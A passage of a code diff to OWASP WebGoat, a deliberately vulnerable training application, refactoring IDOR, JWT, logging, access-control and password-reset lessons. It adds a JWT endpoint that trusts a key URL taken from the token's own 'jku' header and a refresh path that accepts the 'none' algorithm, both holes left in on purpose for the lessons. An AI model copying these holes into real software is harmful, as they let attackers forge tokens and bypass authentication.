@@ -77,16 +78,16 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
       }
 
       if (currentUserProfile.getRole() > 1
-          && currentUserProfile.getColor().toLowerCase().equals("red")) {
+          && currentUserProfile.getColor().equalsIgnoreCase("red")) {
-        return success(this)
+        return failed(this)
             .feedback("idor.edit.profile.failure1")
             .output(currentUserProfile.profileToMap().toString())
             .build();
       }
 
       if (currentUserProfile.getRole() <= 1
-          && !currentUserProfile.getColor().toLowerCase().equals("red")) {
+          && !currentUserProfile.getColor().equalsIgnoreCase("red")) {
-        return success(this)
+        return failed(this)
             .feedback("idor.edit.profile.failure2")
             .output(currentUserProfile.profileToMap().toString())
             .build();
@@ -97,7 +98,8 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
           .feedback("idor.edit.profile.failure3")
           .output(currentUserProfile.profileToMap().toString())
           .build();
-    } else if (userSubmittedProfile.getUserId().equals(authUserId)) {
+    } else if (userSubmittedProfile.getUserId() != null
+        && userSubmittedProfile.getUserId().equals(authUserId)) {
       return failed(this).feedback("idor.edit.profile.failure4").build();
     }
 

src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java

@@ -15,7 +15,8 @@
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
  *
- * Getting Source ==============
+ * Getting Source
+ * ==============
  *
  * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */

src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOtherProfile.java

@@ -15,16 +15,15 @@
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
  *
- * Getting Source ==============
+ * Getting Source
+ * ==============
  *
  * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
 
 package org.owasp.webgoat.lessons.idor;
 
-import java.util.HashMap;
+import jakarta.servlet.http.HttpServletResponse;
-import java.util.Map;
-import javax.servlet.http.HttpServletResponse;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
 import org.owasp.webgoat.container.assignments.AttackResult;
@@ -56,9 +55,9 @@ public class IDORViewOtherProfile extends AssignmentEndpoint {
       produces = {"application/json"})
   @ResponseBody
   public AttackResult completed(@PathVariable("userId") String userId, HttpServletResponse resp) {
-    Map<String, Object> details = new HashMap<>();
 
-    if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {
+    Object obj = userSessionData.getValue("idor-authenticated-as");
+    if (obj != null && obj.equals("tom")) {
       // going to use session auth to view this one
       String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
       if (userId != null && !userId.equals(authUserId)) {
@@ -66,7 +65,8 @@ public class IDORViewOtherProfile extends AssignmentEndpoint {
         UserProfile requestedProfile = new UserProfile(userId);
         // secure code would ensure there was a horizontal access control check prior to dishing up
         // the requested profile
-        if (requestedProfile.getUserId().equals("2342388")) {
+        if (requestedProfile.getUserId() != null
+            && requestedProfile.getUserId().equals("2342388")) {
           return success(this)
               .feedback("idor.view.profile.success")
               .output(requestedProfile.profileToMap().toString())

src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfile.java

@@ -15,7 +15,8 @@
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
  *
- * Getting Source ==============
+ * Getting Source
+ * ==============
  *
  * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */

src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java

@@ -15,7 +15,8 @@
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
  *
- * Getting Source ==============
+ * Getting Source
+ * ==============
  *
  * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
@@ -68,7 +69,7 @@ public class IDORViewOwnProfileAltUrl extends AssignmentEndpoint {
         return failed(this).feedback("idor.view.own.profile.failure2").build();
       }
     } catch (Exception ex) {
-      return failed(this).feedback("an error occurred with your request").build();
+      return failed(this).output("an error occurred with your request").build();
     }
   }
 }

src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java

@@ -15,7 +15,8 @@
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
  *
- * Getting Source ==============
+ * Getting Source
+ * ==============
  *
  * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */

src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java

@@ -49,10 +49,6 @@ import org.springframework.web.bind.annotation.RequestHeader;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;
 
-/**
- * @author nbaars
- * @since 4/23/17.
- */
 @RestController
 @AssignmentHints({
   "jwt-refresh-hint1",
@@ -85,9 +81,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
   }
 
   private Map<String, Object> createNewTokens(String user) {
-    Map<String, Object> claims = new HashMap<>();
+    Map<String, Object> claims = Map.of("admin", "false", "user", user);
-    claims.put("admin", "false");
-    claims.put("user", user);
     String token =
         Jwts.builder()
             .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
@@ -114,6 +108,9 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
       Claims claims = (Claims) jwt.getBody();
       String user = (String) claims.get("user");
       if ("Tom".equals(user)) {
+        if ("none".equals(jwt.getHeader().get("alg"))) {
+          return ok(success(this).feedback("jwt-refresh-alg-none").build());
+        }
         return ok(success(this).build());
       }
       return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build());

src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java

@@ -42,10 +42,6 @@ import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;
 
-/**
- * @author nbaars
- * @since 4/23/17.
- */
 @RestController
 @AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
 public class JWTSecretKeyEndpoint extends AssignmentEndpoint {

src/main/java/org/owasp/webgoat/lessons/jwt/JWTVotesEndpoint.java

@@ -31,14 +31,14 @@ import io.jsonwebtoken.Jwt;
 import io.jsonwebtoken.JwtException;
 import io.jsonwebtoken.Jwts;
 import io.jsonwebtoken.impl.TextCodec;
+import jakarta.annotation.PostConstruct;
+import jakarta.servlet.http.Cookie;
+import jakarta.servlet.http.HttpServletResponse;
 import java.time.Duration;
 import java.time.Instant;
 import java.util.Date;
 import java.util.HashMap;
 import java.util.Map;
-import javax.annotation.PostConstruct;
-import javax.servlet.http.Cookie;
-import javax.servlet.http.HttpServletResponse;
 import org.apache.commons.lang3.StringUtils;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
@@ -58,10 +58,6 @@ import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.ResponseStatus;
 import org.springframework.web.bind.annotation.RestController;
 
-/**
- * @author nbaars
- * @since 4/23/17.
- */
 @RestController
 @AssignmentHints({
   "jwt-change-token-hint1",

src/main/java/org/owasp/webgoat/lessons/jwt/claimmisuse/JWTHeaderJKUEndpoint.java

@@ -0,0 +1,70 @@
+package org.owasp.webgoat.lessons.jwt.claimmisuse;
+
+import com.auth0.jwk.JwkException;
+import com.auth0.jwk.JwkProvider;
+import com.auth0.jwk.JwkProviderBuilder;
+import com.auth0.jwt.JWT;
+import com.auth0.jwt.algorithms.Algorithm;
+import com.auth0.jwt.exceptions.JWTVerificationException;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.security.interfaces.RSAPublicKey;
+import org.apache.commons.lang3.StringUtils;
+import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
+import org.owasp.webgoat.container.assignments.AssignmentHints;
+import org.owasp.webgoat.container.assignments.AttackResult;
+import org.springframework.web.bind.annotation.PathVariable;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+@RequestMapping("/JWT/jku")
+@RestController
+@AssignmentHints({
+  "jwt-jku-hint1",
+  "jwt-jku-hint2",
+  "jwt-jku-hint3",
+  "jwt-jku-hint4",
+  "jwt-jku-hint5"
+})
+public class JWTHeaderJKUEndpoint extends AssignmentEndpoint {
+
+  @PostMapping("/follow/{user}")
+  public @ResponseBody String follow(@PathVariable("user") String user) {
+    if ("Jerry".equals(user)) {
+      return "Following yourself seems redundant";
+    } else {
+      return "You are now following Tom";
+    }
+  }
+
+  @PostMapping("/delete")
+  public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) {
+    if (StringUtils.isEmpty(token)) {
+      return failed(this).feedback("jwt-invalid-token").build();
+    } else {
+      try {
+        var decodedJWT = JWT.decode(token);
+        var jku = decodedJWT.getHeaderClaim("jku");
+        JwkProvider jwkProvider = new JwkProviderBuilder(new URL(jku.asString())).build();
+        var jwk = jwkProvider.get(decodedJWT.getKeyId());
+        var algorithm = Algorithm.RSA256((RSAPublicKey) jwk.getPublicKey());
+        JWT.require(algorithm).build().verify(decodedJWT);
+
+        String username = decodedJWT.getClaims().get("username").asString();
+        if ("Jerry".equals(username)) {
+          return failed(this).feedback("jwt-final-jerry-account").build();
+        }
+        if ("Tom".equals(username)) {
+          return success(this).build();
+        } else {
+          return failed(this).feedback("jwt-final-not-tom").build();
+        }
+      } catch (MalformedURLException | JWTVerificationException | JwkException e) {
+        return failed(this).feedback("jwt-invalid-token").output(e.toString()).build();
+      }
+    }
+  }
+}

src/main/java/org/owasp/webgoat/lessons/jwt/claimmisuse/JWTHeaderKIDEndpoint.java

@@ -20,9 +20,14 @@
  * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
 
-package org.owasp.webgoat.lessons.jwt;
+package org.owasp.webgoat.lessons.jwt.claimmisuse;
 
-import io.jsonwebtoken.*;
+import io.jsonwebtoken.Claims;
+import io.jsonwebtoken.JwsHeader;
+import io.jsonwebtoken.Jwt;
+import io.jsonwebtoken.JwtException;
+import io.jsonwebtoken.Jwts;
+import io.jsonwebtoken.SigningKeyResolverAdapter;
 import io.jsonwebtoken.impl.TextCodec;
 import java.sql.ResultSet;
 import java.sql.SQLException;
@@ -31,52 +36,32 @@ import org.owasp.webgoat.container.LessonDataSource;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
 import org.owasp.webgoat.container.assignments.AttackResult;
-import org.springframework.web.bind.annotation.*;
+import org.springframework.web.bind.annotation.PathVariable;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
 
-/**
- *
- *
- * <pre>
- *  {
- *      "typ": "JWT",
- *      "kid": "webgoat_key",
- *      "alg": "HS256"
- *  }
- *  {
- *       "iss": "WebGoat Token Builder",
- *       "iat": 1524210904,
- *       "exp": 1618905304,
- *       "aud": "webgoat.org",
- *       "sub": "jerry@webgoat.com",
- *       "username": "Jerry",
- *       "Email": "jerry@webgoat.com",
- *       "Role": [
- *       "Cat"
- *       ]
- *  }
- * </pre>
- *
- * @author nbaars
- * @since 4/23/17.
- */
 @RestController
 @AssignmentHints({
-  "jwt-final-hint1",
+  "jwt-kid-hint1",
-  "jwt-final-hint2",
+  "jwt-kid-hint2",
-  "jwt-final-hint3",
+  "jwt-kid-hint3",
-  "jwt-final-hint4",
+  "jwt-kid-hint4",
-  "jwt-final-hint5",
+  "jwt-kid-hint5",
-  "jwt-final-hint6"
+  "jwt-kid-hint6"
 })
-public class JWTFinalEndpoint extends AssignmentEndpoint {
+@RequestMapping("/JWT/kid")
+public class JWTHeaderKIDEndpoint extends AssignmentEndpoint {
 
   private final LessonDataSource dataSource;
 
-  private JWTFinalEndpoint(LessonDataSource dataSource) {
+  private JWTHeaderKIDEndpoint(LessonDataSource dataSource) {
     this.dataSource = dataSource;
   }
 
-  @PostMapping("/JWT/final/follow/{user}")
+  @PostMapping("/follow/{user}")
   public @ResponseBody String follow(@PathVariable("user") String user) {
     if ("Jerry".equals(user)) {
       return "Following yourself seems redundant";
@@ -85,7 +70,7 @@ public class JWTFinalEndpoint extends AssignmentEndpoint {
     }
   }
 
-  @PostMapping("/JWT/final/delete")
+  @PostMapping("/delete")
   public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) {
     if (StringUtils.isEmpty(token)) {
       return failed(this).feedback("jwt-invalid-token").build();

src/main/java/org/owasp/webgoat/lessons/logging/LogBleedingTask.java

@@ -22,10 +22,10 @@
 
 package org.owasp.webgoat.lessons.logging;
 
+import jakarta.annotation.PostConstruct;
 import java.nio.charset.StandardCharsets;
 import java.util.Base64;
 import java.util.UUID;
-import javax.annotation.PostConstruct;
 import org.apache.logging.log4j.util.Strings;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AttackResult;

src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHashAdmin.java

@@ -39,7 +39,8 @@ import org.springframework.web.bind.annotation.RestController;
   "access-control.hash.hint9",
   "access-control.hash.hint10",
   "access-control.hash.hint11",
-  "access-control.hash.hint12"
+  "access-control.hash.hint12",
+  "access-control.hash.hint13"
 })
 public class MissingFunctionACYourHashAdmin extends AssignmentEndpoint {
 

src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java

@@ -57,6 +57,7 @@ import org.springframework.web.servlet.ModelAndView;
 })
 public class ResetLinkAssignment extends AssignmentEndpoint {
 
+  private static final String VIEW_FORMATTER = "lessons/passwordreset/templates/%s.html";
   static final String PASSWORD_TOM_9 =
       "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
   static final String TOM_EMAIL = "tom@webgoat-cloud.org";
@@ -65,15 +66,18 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
   static List<String> resetLinks = new ArrayList<>();
 
   static final String TEMPLATE =
-      "Hi, you requested a password reset link, please use this <a target='_blank'"
+      """
-          + " href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your"
+          Hi, you requested a password reset link, please use this <a target='_blank'
-          + " password.\n"
+           href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your
-          + " \n\n"
+           password.
-          + "If you did not request this password change you can ignore this message.\n"
+
-          + "If you have any comments or questions, please do not hesitate to reach us at"
+          If you did not request this password change you can ignore this message.
-          + " support@webgoat-cloud.org\n\n"
+          If you have any comments or questions, please do not hesitate to reach us at
-          + "Kind regards, \n"
+           support@webgoat-cloud.org
-          + "Team WebGoat";
+
+          Kind regards,
+          Team WebGoat
+          """;
 
   @PostMapping("/PasswordReset/reset/login")
   @ResponseBody
@@ -98,20 +102,14 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
       form.setResetLink(link);
       model.addAttribute("form", form);
       modelAndView.addObject("form", form);
-      modelAndView.setViewName("password_reset"); // Display html page for changing password
+      modelAndView.setViewName(
+          VIEW_FORMATTER.formatted("password_reset")); // Display html page for changing password
     } else {
-      modelAndView.setViewName("password_link_not_found");
+      modelAndView.setViewName(VIEW_FORMATTER.formatted("password_link_not_found"));
     }
     return modelAndView;
   }
 
-  @GetMapping("/PasswordReset/reset/change-password")
-  public ModelAndView illegalCall() {
-    ModelAndView modelAndView = new ModelAndView();
-    modelAndView.setViewName("password_link_not_found");
-    return modelAndView;
-  }
-
   @PostMapping("/PasswordReset/reset/change-password")
   public ModelAndView changePassword(
       @ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) {
@@ -120,17 +118,17 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
       bindingResult.rejectValue("password", "not.empty");
     }
     if (bindingResult.hasErrors()) {
-      modelAndView.setViewName("password_reset");
+      modelAndView.setViewName(VIEW_FORMATTER.formatted("password_reset"));
       return modelAndView;
     }
     if (!resetLinks.contains(form.getResetLink())) {
-      modelAndView.setViewName("password_link_not_found");
+      modelAndView.setViewName(VIEW_FORMATTER.formatted("password_link_not_found"));
       return modelAndView;
     }
     if (checkIfLinkIsFromTom(form.getResetLink())) {
       usersToTomPassword.put(getWebSession().getUserName(), form.getPassword());
     }
-    modelAndView.setViewName("lessons/passwordreset/templates/success.html");
+    modelAndView.setViewName(VIEW_FORMATTER.formatted("success"));
     return modelAndView;
   }